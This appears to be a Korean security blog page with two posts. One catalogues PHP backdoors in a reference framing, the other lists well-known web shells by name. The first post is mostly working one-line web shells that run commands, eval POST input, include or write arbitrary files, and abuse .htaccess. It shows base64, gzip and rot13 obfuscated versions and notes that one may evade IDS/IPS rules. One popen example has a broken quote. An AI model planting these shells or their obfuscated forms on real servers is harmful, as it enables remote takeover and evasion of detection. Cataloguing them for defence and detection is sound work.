'웹쉘'에 해당되는 글 2건

  1. 2011.11.21 PHP 백도어(后门木马) 분석 3
  2. 2011.07.05 TOP 100 Shells 3
0x04 reference&tools2011. 11. 21. 17:25


한줄짜리 웹쉘인 일구화목마의 PHP 버전에 대한 내용입니다.
다양한 방법으로 일구화목마를 작성할 수 있다는걸 보여주기 위함으로 보입니다.

http://space.baidu.com/w5r2/blog/item/9871b21dfae3527ef724e425.html


어쨋든 이 일구화목마를 동작시키기 위해서 eval 함수를 써야 하는 경우도 있고
eval 함수 없이 일반적으로 쓰이는 함수나 - include나 require 같은 - 특정 변수를 사용하는 경우도 있습니다.


PHP 백도어가 자주 사용하는 함수
1. 시스템 명령을 실행하는 함수 : system, passthru, shell_exec, exec, popen, proc_open
2. 코드 실행 및 암호화 : eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
3. 파일 생성을 포함하는 함수 : require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
4. .htaccess : SetHandler, auto_prepend_file, auto_append_file


1. 시스템 명령을 실행하는 함수
system 함수

  //test.php?cmd=ls
  system($_GET[cmd]);

passthru 함수

  //test.php?cmd=ls
  passthru($_GET[cmd]);

shell_exec 함수

  //test.php?cmd=ls
  echo shell_exec($_GET[cmd]);

exec 함수

  //test.php?cmd=ls
  $arr = array();
  exec($_GET[cmd],$arr);
  print_r($arr);

popen 함수

  //test.php?cmd=ls
  $handle = popen('$_GET[cmd], 'r');
  $read = fread($handle, 2096);
  echo $read;
  pclose($handle);

proc_open 함수

  //test.php?cmd=ls
  $descriptorspec = array(
         0 => array('pipe', 'r'),
         1 => array('pipe', 'w'),
         2 => array('pipe', 'w'),
      );
  $proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);
  fclose($pipes[0]);
  $output = array();
  while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
  print_r($output);


2. 코드 실행 및 암호화
eval 함수

  //가장 일반적인 일구화목마
  eval($_POST[cmd]);

base64_decode 함수

  //Ciphertext: eval($_POST['cmd']);
  eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));

gzinflate 함수

  //Ciphertext: eval($_POST['cmd']);
  eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));

gzuncompress 함수

  //Ciphertext: eval($_POST['cmd']);
  eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));

gzdecode 함수

  //Ciphertext: eval($_POST['cmd']);
  eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));

str_rot13 함수 --> eval 함수 없이 사용만 가능하다면 현재 IDS/IPS 룰에 의해 탐지되지 않을지도 모르겠습니다...

  //Ciphertext: eval($_POST[cmd]);
  eval(str_rot13('riny($_CBFG[pzq]);'));

assert 함수

  //eval함수와 유사한
  assert($_POST[cmd]);

call_user_func 함수

  call_user_func('assert',$_POST[cmd]);

call_user_func 함수

  //test.php?a=assert&cmd=phpinfo()
  call_user_func($_GET[a],$_REQUEST[cmd]);

  //test.php?a=assert&cmd=phpinfo()
  $_GET[a]($_REQUEST[cmd]);


3. 파일 생성을 포함하는 함수
require 함수

  //임의의 파일 포함
  //test.php?file=123.jpg
  require($_GET[file]);

require_once 함수

  //임의의 파일 포함
  //test.php?file=123.jpg
  require_once($_GET[file]);

include 함수

  //임의의 파일 포함
  //test.php?file=123.jpg
  include($_GET[file]);

include_once 함수

  //임의의 파일 포함
  //test.php?file=123.jpg
  include_once($_GET[file]);

file_get_contents 함수

  //임의의 파일 일기
  //test.php?f=config.inc.php
  echo file_get_contents($_GET['f']);

file_put_contents 함수

  //콘텐츠 파일 생성
  //a=test.php&b=<?php eval($_POST[cmd]);?>
  file_put_contents($_GET[a],$_GET[b]);

fputs 함수

  //콘텐츠 파일 생성
  //a=test.php&b=<?php eval($_POST[cmd]);?>
  fputs(fopen($_GET[a],"w"),$_GET[b]);


4. .htaccess
SetHandler

  // x.jpg에 PHP 코드를 삽입하고 .htaccess에 다음 내용을 추가하여 PHP 코드 사용
  // ....한다는 의미인 듯 합니다 -_-;;
  FilesMatch "x.jpg">
  SetHandler application/x-httpd-php
  </FilesMatch>

auto_prepend_file

  // 모든 PHP 코드에 123.gif에 있는 코드 삽입
  // 파일의 경로는 절대경로로 작성
  php_value auto_prepend_file c:/apache2/htdocs/123.gif

auto_append_file

  // auto_prepend_file 비슷한 방법
php_value auto_append_file c:/apache2/htdocs/123.gif



일부 번역이 매끄럽지 못한 부분은 과감히 빼버렸고 -_-;;
제가 이해한대로 적었습니다.


Posted by demantos
0x04 reference&tools2011. 7. 5. 13:39






C99Shell v. 1.0 beta (5.02.2005)  PHP   
Cyber Shell  PHP   
GFS Web-Shell  PHP   
NFM 1.8  PHP   
r57shell  PHP   
Small Web Shell by ZaCo  PHP   
nsTView v2.1  PHP   
DxShell v1.0  PHP   
C99madShell v. 2.0 madnet edition  PHP   
CTT Shell  PHP   
GRP WebShell 2.0 release build 2018 (C)2006,Great  PHP   
Crystal shell  PHP   
Loaderz WEB Shell  PHP   
NIX REMOTE WEB SHELL  PHP   
Antichat Shell  PHP   
CasuS 1.5  PHP   
Sincap 1.0  PHP   
C99Shell v. 1.0 pre-release build(safe-mode)  PHP   
hiddens shell v1  PHP   
Web-shell (c)ShAnKaR  PHP   
Predator  PHP   
KA_uShell 0.1.6  PHP   
NGH  PHP   
C2007Shell v. 1.0 pre-release build #16 Modded by Adora & u9 h4c93r  PHP   
Antichat Shell. Modified by Go0o$E  PHP   
c0derz shell [csh] v. 0.1.1 release  PHP   
iMHaBiRLiGi Php FTP  PHP   
PHVayv  PHP   
phpRemoteView  PHP   
STNC WebShell v0.8  PHP   
MyShell  PHP   
ZyklonShell  PHP   
AK-74 Security Team Web Shell Beta Version PHP   
Gamma Web Shell  Perl-Cgi   
go-shell  Perl-Cgi   
PhpSpy Ver 2006 Perl-Cgi   
CmdAsp.asp.txt  ASP   
CyberSpy5.Asp.txt  ASP   
klasvayv.asp.txt  ASP   
indexer.asp.txt  ASP   
NTDaddy v1.9  ASP   
reader.asp.txt  ASP   
RemExp.asp.txt  ASP   
zehir4.asp.txt  ASP   
Elmaliseker.txt  ASP   
EFSO_2.txt  ASP   
accept_language  PHP   
Ajax_PHP Command Shell  PHP   
Antichat Shell v1.3  PHP   
Ayyildiz Tim -AYT- Shell v 2.1 Biz  PHP   
aZRaiLPhp v1.0  PHP   
backupsql  PHP   
c99  PHP   
c99_locus7s  PHP   
c99_madnet  PHP   
c99_PSych0  PHP   
c99_w4cking  PHP   
Crystal  PHP   
ctt_sh  PHP   
cybershell  PHP   
dC3 Security Crew Shell PRiV  PHP   
Dive Shell 1.0 - Emperor Hacking Team  PHP   
DTool Pro  PHP   
Dx  PHP   
GFS web-shell ver 3.1.7 - PRiV8  PHP   
gfs_sh  PHP   
h4ntu shell [powered by tsoi]  PHP   
iMHaPFtp  PHP   
ironshell  PHP   
JspWebshell 1.2  PHP   
KAdot Universal Shell v0.1.6  PHP   
lamashell  PHP   
Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit  PHP   
load_shell  PHP   
matamu  PHP   
Moroccan Spamers Ma-EditioN By GhOsT  PHP   
myshell  PHP   
Mysql interface v1.0  PHP   
MySQL Web Interface Version 0.8  PHP   
mysql  PHP   
mysql_tool  PHP   
NCC-Shell  PHP   
NetworkFileManagerPHP  PHP   
NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version  PHP   
nshell  PHP   
nstview  PHP   
PH Vayv  PHP   
PHANTASMA  PHP   
PHP Shell  PHP   
php-backdoor  PHP   
php-include-w-shell  PHP   
pHpINJ  PHP   
PHPJackal  PHP   
PHPRemoteView  PHP   
Private-i3lue  PHP   
pws  PHP   
r57  PHP   
r57_iFX  PHP   
r57_kartal  PHP   
r57_Mohajer22  PHP   
rootshell  PHP   
ru24_post_sh  PHP   
s72 Shell v1.1 Coding  PHP   
Safe0ver Shell -Safe Mod Bypass By Evilc0der  PHP   
Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2  PHP   
SimAttacker - Vrsion 1.0.0 - priv8 4 My friend  PHP   
simple_cmd  PHP   
simple-backdoor  PHP   
SimShell 1.0 - Simorgh Security MGZ  PHP   
SnIpEr_SA Shell  PHP   
Uploader  PHP   
WinX Shell  PHP   
Worse Linux Shell  PHP   
zacosmall PHP   
Antichat Shell v1.3 PHP   
Ayyildiz Tim -AYT- Shell v 2.1 Biz PHP   
aZRaiLPhp v1.0 PHP   
CrystalShell v.1 PHP   
Cyber Shell (v 1.0) PHP   
dC3 Security Crew Shell PRiV PHP   
Dive Shell 1.0 - Emperor Hacking Team PHP   
DxShell.1.0 PHP   
ELMALISEKER Backd00r ASP   
GFS web-shell ver 3.1.7 - PRiV8 PHP   
h4ntu shell [powered by tsoi] PHP   
JspWebshell 1.2 JSP   
KAdot Universal Shell v0.1.6 PHP   
Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit PHP   
Macker's Private PHPShell PHP   
Mysql interface v1.0 PHP   
MySQL Web Interface Version 0.8 PHP   
NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version PHP   
Perl Web Shell by RST-GHC PL   
Private-i3lue PHP   
RedhatC99 [login=redhat-pass=root] PHP   
Rootshell.v.1.0 PHP   
s72 Shell v1.1 Coding PHP   
Safe0ver Shell -Safe Mod Bypass By Evilc0der PHP   
Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2 PHP   
SimAttacker - Vrsion 1.0.0 - priv8 4 My friend PHP   
SimShell 1.0 - Simorgh Security MGZs PHP   
WinX Shell PHP   
Worse Linux Shell PHP




짬날때마다 하나씩 특징들을 분석해서 패턴화하면 좋을 듯...










Posted by demantos